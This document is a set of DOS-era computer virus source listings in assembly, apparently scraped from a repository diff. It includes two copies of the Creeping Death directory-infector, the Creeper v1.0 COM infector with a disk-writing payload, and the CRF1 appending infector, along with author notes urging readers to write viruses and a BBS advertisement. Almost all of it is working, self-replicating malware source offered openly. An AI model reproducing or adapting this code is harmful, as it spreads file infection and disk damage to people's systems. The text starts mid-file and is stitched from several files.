lodsw ; Scan for the signature
cmp ax,0aa55h ; Is it the signature?
jne fdsk4 ; If not, change segment
cbw ; clear AH
lodsb ; load a byte to AL
mov cl,9
sal ax,cl ; Shift left, 0 filled
fdsk2: cmp [si],6c7h
jne fdsk3
cmp word ptr [si+2],4ch
jne fdsk3
push dx ; Save the segment
push [si+4] ; and offset on stack
jmp short death ; for use by i13pr
install: int 20h
file: db "c:",255,0
fdsk3: inc si ; Increment search offset
cmp si,ax ; If we are not too high,
jb fdsk2 ; try again
fdsk4: inc dx ; Increment search segment
cmp dh,0f0h ; If we are not in high
jb fdsk1 ; memory, try again
sub sp,4 ; effectively push dummy vars.
death: push cs ; on stack for use by i13pr
pop ds
mov bx,ds:[2ch] ; Get environment from PSP
mov es,bx
mov ah,49h ; Release it (to save memory)
call jump
xor ax,ax
test bx,bx ; Is BX = 0?
jz boot ; If so, we are booting now
mov di,1 ; and not running a file
seek: dec di ; Search for end of
scasw ; the environment block
jne seek
lea si,[di+2] ; SI points to filename
jmp short exec ; (in DOS 3.X+)
; Execute that file
boot: mov es,ds:[16h] ; get PSP of parent
mov bx,es:[16h] ; get PSP of parent
dec bx ; go to its MCB
xor si,si
exec: push bx
mov bx,offset param ; Set up parameter block
; for EXEC function
mov [bx+4],cs ; segment to command line
mov [bx+8],cs ; segment to 1st FCB
mov [bx+12],cs ; segment to 2nd FCB
pop ds
push cs
pop es
mov di,offset f_name
push di ; Save filename offset
mov cx,40 ; Copy the filename to
rep movsw ; the buffer
push cs
pop ds
mov ah,3dh ; Handle open file
mov dx,offset file ; "c:ÿ",0
call jump
pop dx ; DS:DX -> filename
mov ax,4b00h ; Load and Execute
call jump ; ES:BX = param block
mov ah,4dh ; Get errorlevel
call jump
mov ah,4ch ; Terminate
jump: pushf ; Simulate an interrupt 21h
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3 ; Write AL sectors from ES:BX
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
; head DH, drive DL
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es ; Move segment of parameter
pop ds ; block to DS
mov al,[bx+2] ; [bx+2] holds command code
cmp al,4 ; Input (read)
je input
cmp al,8 ; Output (write)
je output
cmp al,9 ; Output (write) with verify
je output
call in_ ; Call original device
cmp al,2 ; Request build BPB
jne ppp ; If none of the above, exit
lds si,[bx+12h] ; DS:SI point to BPB table
mov di,offset bpb_buf ; Replace old pointer with
mov es:[bx+12h],di ; a pointer to our own
mov es:[bx+14h],cs ; BPB table
push es ; Save segment of parameters
push cs
pop es
mov cx,16 ; Copy the old BPB table to
rep movsw ; our own
pop es ; Restore parameter segment
push cs
pop ds
mov al,[di+2-32] ; AL = sectors per allocation
cmp al,2 ; unit. If less than
adc al,0 ; 2, increment
cbw ; Extend sign to AH (clear AH)
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
je m32 ; If so, big partition (>32MB)
sub [di+8-32],ax ; Decrease space of disk by
; one allocation unit(cluster)
jmp short ppp ; Exit
m32: sub [di+15h-32],ax ; Handle large partitions
sbb word ptr [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf ; We are outta here!
output: mov cx,0ff09h
call check ; is it a new disk?
jz inf_sec ; If not, go away
call in_ ; Call original device handler
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16 ; Restore the stack
jmp short ppp ; Leave device driver
input: call check ; Is it a new disk?
jz read ; If not, leave
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
cld
lea si,[bx+0eh] ; Load from buffer address
mov cx,8 ; Save device driver request
save: lodsw ; on the stack
push ax
loop save
mov word ptr [bx+14h],1 ; Starting sector number = 1
; (Read 1st FAT)
call driver ; Read one sector
jnz read_ ; If error, exit
mov byte ptr [bx+2],2 ; Otherwise build BPB
call in_ ; Have original driver do the
; work
lds si,[bx+12h] ; DS:SI points to BPB table
mov ax,[si+6] ; Number root directory entries
add ax,15 ; Round up
mov cl,4
shr ax,cl ; Divide by 16 to find sectors
; of root directory
mov di,[si+0bh] ; DI = sectors/FAT
add di,di ; Double for 2 FATs
stc ; Add one for boot record
adc di,ax ; Add sector size of root dir
push di ; to find starting sector of
; data (and read)
cwd ; Clear DX
mov ax,[si+8] ; AX = total sectors
test ax,ax ; If it is zero, then we have
jnz more ; an extended partition(>32MB)
mov ax,[si+15h] ; Load DX:AX with total number
mov dx,[si+17h] ; of sectors
more: xor cx,cx
sub ax,di ; Calculate FAT entry for last
; sector of disk
sbb dx,cx
mov cl,[si+2] ; CL = sectors/cluster
div cx ; AX = cluster #
cmp cl,2 ; If there is more than 1
sbb ax,-1 ; cluster/sector, add one
push ax ; Save cluster number
call convert ; AX = sector number to read
; DX = offset in sector AX
; of FAT entry
; DI = mask for EOF marker
mov byte ptr es:[bx+2],4 ; INPUT (read)
mov es:[bx+14h],ax ; Starting sector = AX
call driver ; One sector only
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
add si,dx ; Go to FAT entry
sub dh,cl ; Calculate a new encryption
adc dx,ax ; value
mov word ptr cs:gad+1,dx ; Change the encryption value
cmp cl,1 ; If there is 0 cluster/sector
je small_ ; then jump to "small_"
mov ax,[si] ; Load AX with offset of FAT
; entry
and ax,di ; Mask it with value from
; "convert" then test to see
; if the sector is fine
cmp ax,0fff7h ; 16 bit reserved/bad
je bad
cmp ax,0ff7h ; 12 bit reserved/bad
je bad
cmp ax,0ff70h ; 12 bit reserved/bad
jne ok
bad: pop ax ; Tried to replicate on a bad
dec ax ; cluster. Try again on a
push ax ; lower one.
call convert ; Find where it is in the FAT
jmp short again ; and try once more
small_: not di ; Reverse mask bits
and [si],di ; Clear other bits
pop ax ; AX = cluster number
push ax
inc ax ; Need to do 2 consecutive
push ax ; bytes
mov dx,0fh
test di,dx
jz here
inc dx ; Multiply by 16
mul dx
here: or [si],ax ; Set cluster to next
pop ax ; Restore cluster of write
call convert ; Calculate buffer offset
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di ; DI = mask from "convert"
dec dx
and dx,di ; Yerg!
not di
and [si],di
or [si],dx ; Set [si] to DI
cmp ax,dx ; Did we change the FAT?
pop ax ; i.e. Are we already on this
pop di ; disk?
mov word ptr cs:pointer+1,ax ; Our own starting cluster
je _read_ ; If we didn't infect, then
; leave the routine. Oh
; welp-o.
mov dx,[si]
push ds
push si
call write ; Update the FAT
pop si
pop ds
jnz _read_ ; Quit if there's an error
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx ; Multiply by sectors/cluster
; to find the sector of the
; write
add ax,di
adc dx,0
push es
pop ds
mov word ptr [bx+12h],2 ; Byte/sector count
mov [bx+14h],ax ; Starting sector #
test dx,dx
jz less
mov word ptr [bx+14h],-1 ; Flag extended partition
mov [bx+1ah],ax ; Handle the sector of the
mov [bx+1ch],dx ; extended partition
less: mov [bx+10h],cs ; Transfer address segment
mov [bx+0eh],100h ; and the offset (duh)
call write ; Zopy ourselves!
; (We want to travel)
_read_: std
lea di,[bx+1ch] ; Restore device driver header
mov cx,8 ; from the stack
load: pop ax
stosw
loop load
_read: call in_ ; Call original device handler
mov cx,9
_inf_sec:
mov di,es:[bx+12h] ; Bytes/Sector
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
sal di,cl ; Multiply by 512
; DI = byte count
xor cl,cl
add di,si ; Go to address in the buffer
xor dl,dl ; Flag for an infection in
; function find
push ds
push si
call find ; Infect the directory
jcxz no_inf
call write ; Write it back to the disk
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
; word
no_inf: pop si
pop ds
inc dx ; Flag for a decryption in
; function find
call find ; Return right information to
; calling program
jmp ppp
;--------Subroutines
find: mov ax,[si+8] ; Check filename extension
cmp ax,"XE" ; in directory structure
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
jnz go_on ; to see if it is too big
test [si+1dh],03ff8h ; <2048B ; Check file size low word
jz go_on ; to see if it is too small
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
jnz go_on ; volume label or system file
test dl,dl ; If none of these, check DX
jnz rest ; If not 0, decrypt
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
cmp ax,[si+1ah] ; Check for same starting
; cluster number as us
je go_on ; If it is, then try another
xchg ax,[si+1ah] ; Otherwise make it point to
; us.
gad: xor ax,1234h ; Encrypt their starting
; cluster
mov [si+14h],ax ; And put it in area reserved
; by DOS for no purpose
loop go_on ; Try another file
rest: xor ax,ax ; Disinfect the file
xchg ax,[si+14h] ; Get starting cluster
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
mov [si+1ah],ax ; and put it back
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
dw offset gad+1 ; Change encryption and
add si,32 ; go to next file
cmp di,si ; If it is not past the end of
jne find ; the buffer, then try again
ret ; Otherwise quit
check: mov ah,[bx+1] ; ah = unit code (block device
; only)
drive: cmp ah,-1 ; cmp ah, XX can change.
; Compare with the last call
; -1 is just a dummy
; impossible value that will
; force the change to be true
mov byte ptr cs:[drive+2],ah ; Save this call's drive
jne changed ; If not the same as last call
; media has changed
push [bx+0eh] ; If it is the same physical
; drive, see if floppy has
; been changed
mov byte ptr [bx+2],1 ; Tell original driver to do a
call in_ ; media check (block only)
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
pop [bx+0eh] ; media has not been changed
mov [bx+2],al ; Restore command code
changed: ret ; CF,ZF set if media has not
; been changed, not set if
; has been changed or we don't
; know
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
jae in_ ; original device handler
; and return to caller
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
mov si,70h
mov ds,si ; DS = our segment
modify: mov si,1234h ; Address is changed elsewhere
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in_ ; Call original device handler
pop [si+2]
pop [si]
ret
driver: mov word ptr es:[bx+12h],1 ; One sector
in_: ; in_ first calls the strategy
; of the original device
; driver and then calls the
; interrupt handler
db 09ah ; CALL FAR PTR
str_block:
dw ?,70h ; address
db 09ah ; CALL FAR PTR
int_block:
dw ?,70h ; address
test es:[bx+4],byte ptr 80h ; Was there an error?
ret
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
jae fat_16 ; 0FF0h = reserved cluster
mov si,3 ; 12 bit FAT
xor word ptr cs:[si+gad-1],si ; Change the encryption value
mul si ; Multiply by 3 and
shr ax,1 ; divide by 2
mov di,0fffh ; Mark it EOF (low 12 bits)
jnc cont ; if it is even, continue
mov di,0fff0h ; otherwise, mark it EOF (high
jmp short cont ; 12 bits) and then continue
fat_16: mov si,2 ; 16 bit FAT
mul si ; Double cluster #
mov di,0ffffh ; Mark it as end of file
cont: mov si,512
div si ; AX = sector number
; (relative to start of FAT)
; DX = offset in sector AX
header: inc ax ; Increment AX to account for
ret ; boot record
counter: dw 0
dw 842h ; Attribute
; Block device
; DOS 3 OPEN/CLOSE removable
; media calls supported
; Generic IOCTL call supported
; Supports 32 bit sectors
dw offset main ; Strategy routine
dw offset rts ; Interrupt routine (rtf)
db 7fh ; Number of subunits supported
; by this driver. Wow, lookit
; it -- it's so large and juicy
; Parameter block format:
; 0 WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
dir_2 ends
end start

+328
View File
@@ -0,0 +1,328 @@
;
; Demoralized Youth proudly presents: Creeper v1.0, Original Source
;
; Written by: TORMENTOR
;
; Yez, here it is... It's not like 4096 or Pogue, but it's a virus!
; The reason why I release the original source is that I think I
; can't do much more on this virus... I will start from scratch
; and write a larger and more smarter EXE-virus...
; And if I release this source maybe YOU will get some god ideas and
; write your own virus (or rewrite this!)...
; And if you do, Great! Feel free to mix with it as much as you want
; but please don't change this file!
; Well, go on and write virus! The world is to safe!
;
;
; Regards / TORMENTOR
;
code segment byte public
assume cs:code, ds:code, es:code, ss:code
org 100h
codebeg:
mov ax,043FFh ; Remove virus from code!
int 21h
; Let's allocate some mem!
mov ax,ds
sub ax,11h
mov ds,ax
cmp byte ptr ds:[0100h],5Ah
jnz skip
mov ax,ds:[0103h]
sub ax,40h
jb skip
mov ds:[0103h],ax
sub word ptr ds:[0112h],50h
mov es,ds:[0112h]
push cs
pop ds
mov cx,code_end-codebeg
mov di,100h
push di
mov si,di
rep movsb
push es
pop ds
mov ax,351Ch
int 21h
mov word ptr ds:[int1Cret],bx
mov word ptr ds:[int1Cret+2],es
mov al,21h
int 21h
mov word ptr ds:[real21+1],bx
mov word ptr ds:[real21+3],es
mov ah,25h
mov dx,offset int21beg
int 21h
mov al,1Ch
mov dx,offset int1Cnew
int 21h
push cs
push cs
pop es
pop ds
ret
skip: int 20h
int21beg: push ax
sub ax,4B00h
jz infect
pop ax
cmp ax,043FFh ; Check if Harakiri.
jne real21
mov ax,word ptr ds:[retdata]
mov si,ax
mov di,100h
mov cx,code_end-codebeg
rep movsb
mov ax,100h
pop cx
pop cx
push es
push ax
iret
real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec.
retdata: db 00h, 00h
f_time: dw 0000h
f_date: dw 0000h
infect: pop ax
push ax
push bx
push cx
push di
push ds
push dx
push si
mov ah,43h ; Get file attr.
int 21h
mov ax,4301h
and cx,0FEh ; Strip the Read-only-flag
int 21h
mov ax,3D02h ; Open victim.
int 21h
xchg ax,bx
call sub_2
sub_2: mov di,sp ; God what I hate that Eskimo!
mov si,ss:[di]
inc sp
inc sp
push cs
pop ds
mov ax,5700h ; Get file's time and date
int 21h
mov [si-(sub_2-f_time)],cx
mov [si-(sub_2-f_date)],dx ; And save them...
mov ah,3Fh ; Read X byte from begin.
mov cx,code_end-codebeg
add si,code_end-sub_2 ; SI points to EOF
mov dx,si
int 21h
cmp word ptr [si],'MZ' ; Mark Zimbowski?
je close
cmp word ptr [si],'ZM' ; Zimbowski Mark?
je close
mark: cmp word ptr [si+(mark-codebeg+4)],'YD' ; infected?
je close
call put_eof ; move file ptr to EOF
cmp ax,(0FFFFh-(code_end-codebeg)-100h)
ja close
cmp ax,code_end-codebeg+100h
jb close
add ax,100h
mov word ptr ds:[si-(code_end-retdata)],ax
mov ah,40h ; Flytta beg to end.
mov cx,code_end-codebeg
mov dx,si
int 21h
mov ax,4200h ; fptr to filbeg.
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; Write virus to beg.
mov cx,code_end-codebeg
mov dx,si
sub dx,cx
int 21h
close: mov ax,5701h
mov cx,[si-(code_end-f_time)]
mov dx,[si-(code_end-f_date)]
int 21h
mov ah,3Eh
int 21h ; close file, bx=file handle
pop si
pop dx
pop ds
pop di
pop cx
pop bx
pop ax
jmp real21
put_eof: mov ax,4202h
xor dx,dx
xor cx,cx
int 21h
ret
int1Cnew:
push ax
inc byte ptr cs:[counter]
mov al,30h
cmp byte ptr cs:[counter],al
jz scan
pop ax
slut: jmp dword ptr cs:[int1Cret]
scan:
push bx
push cx
push di
push ds
push dx
push es
push si
push cs
pop ds
cld
xor bx,bx
mov byte ptr cs:[counter],bh
mov cx,0FA0h
mov ax,0b800h
mov es,ax
xor di,di
again: mov al,byte ptr cs:[text+bx]
sub al,80h
repnz scasb
jnz stick
maybe: inc di
inc bx
cmp bx,10d
jz beep
mov al,byte ptr cs:[text+bx]
sub al,80h
scasb
jz maybe
xor bx,bx
jmp again
beep:
xor cx,cx
mov bx,word ptr cs:[int1Cret]
mov es,word ptr cs:[int1Cret+2]
mov ax,251Ch
int 21h
overagain: mov dx,0180h
xor bx,bx
reset: mov ah,00h
inc bx
cmp bl,5h
jz raise
inc cx
int 13h
hoho: mov ax,0380h
inc cx
int 13h
jc reset
jmp hoho
raise: xor cx,cx
xor bx,bx
inc dx
cmp dl,85h
jnz hoho
jmp overagain
stick:
pop si
pop es
pop dx
pop ds
pop di
pop cx
pop bx
pop ax
jmp slut
counter: db 00h
text: db 'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h
db 'T'+80h, 'O'+80h, 'R'+80h, '!'+80h
; This is what it scans the screen for --^
int1Cret: db 0EAh, 00h, 00h, 00h, 00h
code_end: ; THE END.
code ends
end codebeg
;
; Greetings to: Charlie, HITMAN, Wiper, Torpedo, Tortuer, WiCO, Drive Screwer
; And ALL other virus-writers!
;
+486
View File
@@ -0,0 +1,486 @@
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
org 100h
mov sp,600h
inc counter
xor cx,cx
mov ds,cx
lds ax,[0c1h]
add ax,21h
push ds
push ax
mov ah,30h
call jump
cmp al,4
sbb si,si
mov drive+2,byte ptr -1
mov bx,60h
mov ah,4ah
call jump
mov ah,52h
call jump
push es:[bx-2]
lds bx,es:[bx]
search: mov ax,[bx+si+15h]
cmp ax,70h
jne next
xchg ax,cx
mov [bx+si+18h],byte ptr -1
mov di,[bx+si+13h]
mov [bx+si+13h],offset header
mov [bx+si+15h],cs
next: lds bx,[bx+si+19h]
cmp bx,-1
jne search
jcxz install
pop ds
mov ax,ds
add ax,[3]
inc ax
mov dx,cs
dec dx
cmp ax,dx
jne no_boot
add [3],61h
no_boot: mov ds,dx
mov [1],8
mov ds,cx
les ax,[di+6]
mov cs:str_block,ax
mov cs:int_block,es
cld
mov si,1
scan: dec si
lodsw
cmp ax,1effh
jne scan
mov ax,2cah
cmp [si+4],ax
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1
stosw
xchg ax,si
mov di,offset i13org
cli
movsw
movsw
mov dx,0c000h
fdsk1: mov ds,dx
xor si,si
lodsw
cmp ax,0aa55h
jne fdsk4
cbw
lodsb
mov cl,9
sal ax,cl
fdsk2: cmp [si],6c7h
jne fdsk3
cmp [si+2],4ch
jne fdsk3
push dx
push [si+4]
jmp short death
install: int 20h
file: db "c:",255,0
fdsk3: inc si
cmp si,ax
jb fdsk2
fdsk4: inc dx
cmp dh,0f0h
jb fdsk1
sub sp,4
death: push cs
pop ds
mov bx,[2ch]
mov es,bx
mov ah,49h
call jump
xor ax,ax
test bx,bx
jz boot
mov di,1
seek: dec di
scasw
jne seek
lea si,[di+2]
jmp short exec
boot: mov es,[16h]
mov bx,es:[16h]
dec bx
xor si,si
exec: push bx
mov bx,offset param
mov [bx+4],cs
mov [bx+8],cs
mov [bx+12],cs
pop ds
push cs
pop es
mov di,offset f_name
push di
mov cx,40
rep movsw
push cs
pop ds
mov ah,3dh
mov dx,offset file
call jump
pop dx
mov ax,4b00h
call jump
mov ah,4dh
call jump
mov ah,4ch
jump: pushf
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3
jmp dword ptr cs:[i13org]
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es
pop ds
mov al,[bx+2]
cmp al,4 ; Input
je input
cmp al,8
je output
cmp al,9
je output
call in
cmp al,2 ; Build BPB
jne ppp ;
lds si,[bx+12h]
mov di,offset bpb_buf
mov es:[bx+12h],di
mov es:[bx+14h],cs
push es
push cs
pop es
mov cx,16
rep movsw
pop es
push cs
pop ds
mov al,[di+2-32]
cmp al,2
adc al,0
cbw
cmp [di+8-32],0
je m32
sub [di+8-32],ax
jmp short ppp
m32: sub [di+15h-32],ax
sbb [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf
output: mov cx,0ff09h
call check
jz inf_sec
call in
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16
jmp short ppp
input: call check
jz read
inf_dsk: mov byte ptr [bx+2],4
cld
lea si,[bx+0eh]
mov cx,8
save: lodsw
push ax
loop save
mov [bx+14h],1
call driver
jnz read_
mov byte ptr [bx+2],2
call in
lds si,[bx+12h]
mov ax,[si+6]
add ax,15
mov cl,4
shr ax,cl
mov di,[si+0bh]
add di,di
stc
adc di,ax
push di
cwd
mov ax,[si+8]
test ax,ax
jnz more
mov ax,[si+15h]
mov dx,[si+17h]
more: xor cx,cx
sub ax,di
sbb dx,cx
mov cl,[si+2]
div cx
cmp cl,2
sbb ax,-1
push ax
call convert
mov byte ptr es:[bx+2],4
mov es:[bx+14h],ax
call driver
again: lds si,es:[bx+0eh]
add si,dx
sub dh,cl
adc dx,ax
mov cs:gad+1,dx
cmp cl,1
je small
mov ax,[si]
and ax,di
cmp ax,0fff7h
je bad
cmp ax,0ff7h
je bad
cmp ax,0ff70h
jne ok
bad: pop ax
dec ax
push ax
call convert
jmp short again
small: not di
and [si],di
pop ax
push ax
inc ax
push ax
mov dx,0fh
test di,dx
jz here
inc dx
mul dx
here: or [si],ax
pop ax
call convert
mov si,es:[bx+0eh]
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di
dec dx
and dx,di
not di
and [si],di
or [si],dx
cmp ax,dx
pop ax
pop di
mov cs:pointer+1,ax
je _read_
mov dx,[si]
push ds
push si
call write
pop si
pop ds
jnz _read_
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx
add ax,di
adc dx,0
push es
pop ds
mov [bx+12h],2
mov [bx+14h],ax
test dx,dx
jz less
mov [bx+14h],-1
mov [bx+1ah],ax
mov [bx+1ch],dx
less: mov [bx+10h],cs
mov [bx+0eh],100h
call write
_read_: std
lea di,[bx+1ch]
mov cx,8
load: pop ax
stosw
loop load
_read: call in
mov cx,9
_inf_sec:
mov di,es:[bx+12h]
lds si,es:[bx+0eh]
sal di,cl
xor cl,cl
add di,si
xor dl,dl
push ds
push si
call find
jcxz no_inf
call write
and es:[bx+4],byte ptr 07fh
no_inf: pop si
pop ds
inc dx
call find
jmp ppp
;--------Subroutines
find: mov ax,[si+8]
cmp ax,"XE"
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB
jnz go_on
test [si+1dh],03ff8h ; <2048B
jz go_on
test [si+0bh],byte ptr 1ch
jnz go_on
test dl,dl
jnz rest
pointer: mov ax,1234h
cmp ax,[si+1ah]
je go_on
xchg ax,[si+1ah]
gad: xor ax,1234h
mov [si+14h],ax
loop go_on
rest: xor ax,ax
xchg ax,[si+14h]
xor ax,cs:gad+1
mov [si+1ah],ax
go_on: ;rol cs:gad+1,1
db 2eh,0d1h,6
dw offset gad+1
add si,32
cmp di,si
jne find
ret
check: mov ah,[bx+1]
drive: cmp ah,-1
mov cs:[drive+2],ah
jne changed
push [bx+0eh]
mov byte ptr [bx+2],1
call in
cmp byte ptr [bx+0eh],1
pop [bx+0eh]
mov [bx+2],al
changed: ret
write: cmp byte ptr es:[bx+2],8
jae in
mov byte ptr es:[bx+2],4
mov si,70h
mov ds,si
modify: mov si,1234h
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in
pop [si+2]
pop [si]
ret
driver: mov es:[bx+12h],1
in:
db 09ah
str_block:
dw ?,70h
db 09ah
int_block:
dw ?,70h
test es:[bx+4],byte ptr 80h
ret
convert: cmp ax,0ff0h
jae fat_16
mov si,3
xor cs:[si+gad-1],si
mul si
shr ax,1
mov di,0fffh
jnc cont
mov di,0fff0h
jmp short cont
fat_16: mov si,2
mul si
mov di,0ffffh
cont: mov si,512
div si
header: inc ax
ret
counter: dw 0
dw 842h
dw offset main
dw offset rts
db 7fh
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.

+204
View File
@@ -0,0 +1,204 @@
title "CRF1 virus. Born on the Fourth of July. Written by TBSI."
; assemble with Turbo ASM 2.x
page 60,80
code segment word public 'code'
assume cs:code,ds:code
org 100h
main proc;edure
; As referenced in this source listing, Top-Of-File represents location 100h in
; the current memory segment, which is where the virus code is loaded into mem.
; The word "program" refers to the infected programs code and "virus" refers to
; the virus's code. This information is included to clarify my use of the word
; "program" in the remarks throughout this listing.
; Since the virus (with the exception of "call skip" and "db 26") can be loaded
; anywhere in memory depending on the length of the infected program, I made it
; to where the BP register would be loaded with the displacement of the code in
; memory. This was done as follows:
; 1) a CALL instruction was issued. It places the TRUE return
; address onto the stack.
; 2) instead of returning to there, the value was popped off of
; the stack into the BP register
; 3) then, it subtracts the EXPECTED value of BP (the address of
; EOFMARK in the 1st-time copy) from BP to get the offset.
; 4) all references to memory locations were thereafter changed
; to refernces to EXPECTED memory locations + BP
; This fixed the problem.
tof: ;Top-Of-File
jmp short begin ;Skip over program
nop ;Reserve 3rd byte
EOFMARK: db 26 ;Disable DOS's TYPE
first_four: nop ;First run copy only!
address: int 20h ;First run copy only!
check: nop ;First run copy only!
begin: call nextline ;Push BP onto stack
nextline: pop bp ;BP=location of Skip
sub bp,offset nextline ;BP=offset from 1st run
mov byte ptr [bp+offset infected],0 ;Reset infection count
lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof ;TOF never changes
mov cx,4 ;Lets copy 4 bytes
cld ;Read left-to-right
rep movsb ;Copy the 4 bytes
mov ah,1Ah ;Set DTA address ...
lea dx,[bp+offset DTA] ; ... to *our* DTA
int 21h ;Call DOS to set DTA
mov ah,4Eh ;Find First ASCIIZ
lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0
lea si,[bp+offset filename] ;Point to file
push dx ;Save DX
jmp short continue ;Continue...
return: mov ah,1ah ;Set DTA address ...
mov dx,80h ; ... to default DTA
int 21h ;Call DOS to set DTA
xor ax,ax ;AX= 0
mov bx,ax ;BX= 0
mov cx,ax ;CX= 0
mov dx,ax ;DX= 0
mov si,ax ;SI= 0
mov di,ax ;DI= 0
mov sp,0FFFEh ;SP= 0
mov bp,100h ;BP= 100h (RETurn addr)
push bp ; Put on stack
mov bp,ax ;BP= 0
ret ;JMP to 100h
nextfile: or bx,bx ;Did we open the file?
jz skipclose ;No, so don't close it
mov ah,3Eh ;Close file
int 21h ;Call DOS to close it
xor bx,bx ;Set BX back to 0
skipclose: mov ah,4Fh ;Find Next ASCIIZ
continue: pop dx ;Restore DX
push dx ;Re-save DX
xor cx,cx ;CX= 0
xor bx,bx
int 21h ;Find First/Next
jnc skipjmp
jmp NoneLeft ;Out of files
skipjmp: mov ax,3D02h ;open file
mov dx,si ;point to filespec
int 21h ;Call DOS to open file
jc nextfile ;Next file if error
mov bx,ax ;get the handle
mov ah,3Fh ;Read from file
mov cx,4 ;Read 4 bytes
lea dx,[bp+offset first_four] ;Read in the first 4
int 21h ;Call DOS to read
cmp byte ptr [bp+offset check],26 ;Already infected?
je nextfile ;Yep, try again ...
cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE?
je nextfile ;Yep, maybe next time!
mov ax,4202h ;LSeek to EOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
cmp ax,0FD00h ;Longer than 63K?
ja nextfile ;Yep, try again...
mov [bp+offset addr],ax ;Save call location
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;Point to buffer
int 21h ;Save the first 4 bytes
mov ah,40h ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin] ;Point to virus start
int 21h ;Append the virus
mov ax,4200h ;LSeek to TOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
mov ax,[bp+offset addr] ;Retrieve location
inc ax ;Adjust location
mov [bp+offset address],ax ;address to call
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst.
mov byte ptr [bp+offset check],26 ;EOFMARK
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;4 bytes are at [DX]
int 21h ;Write to file
inc byte ptr [bp+offset infected] ;increment counter
jmp nextfile ;Any more?
NoneLeft: cmp byte ptr [bp+offset infected],2 ;At least 2 infected?
jae TheEnd ;The party's over!
mov di,100h ;DI= 100h
cmp word ptr [di],20CDh ;an INT 20h?
je TheEnd ;Don't go to prev. dir.
lea dx,[bp+offset prevdir] ;'..'
mov ah,3Bh ;Set current directory
int 21h ;CHDIR ..
jc TheEnd ;We're through!
mov ah,4Eh
jmp continue ;Start over in new dir
TheEnd: jmp return ;The party's over!
filespec: db '*.COM',0 ;File specification
prevdir: db '..',0 ;previous directory
; None of this information is included in the virus's code. It is only used
; during the search/infect routines and it is not necessary to preserve it
; in between calls to them.
eof:
DTA: db 21 dup (?) ;internal search's data
attribute db ? ;attribute
file_time db 2 dup (?) ;file's time stamp
file_date db 2 dup (?) ;file's date stamp
file_size db 4 dup (?) ;file's size
filename db 13 dup (?) ;filename
infected db ? ;infection count
addr dw ? ;Address
main endp;rocedure
code ends;egment
end main
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; This quality file was downloaded from
;
; E X T R E M E
; ------------+------------ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; /|\ ³ ³
; / | \ ³ Portland Metro All Text BBS ³
; / | \ ³ ³
; / | \ ³ 9600: 503-775-0374 ³
; / | \ ³ SysOp: Thing One ³
; / | \ ³ ³
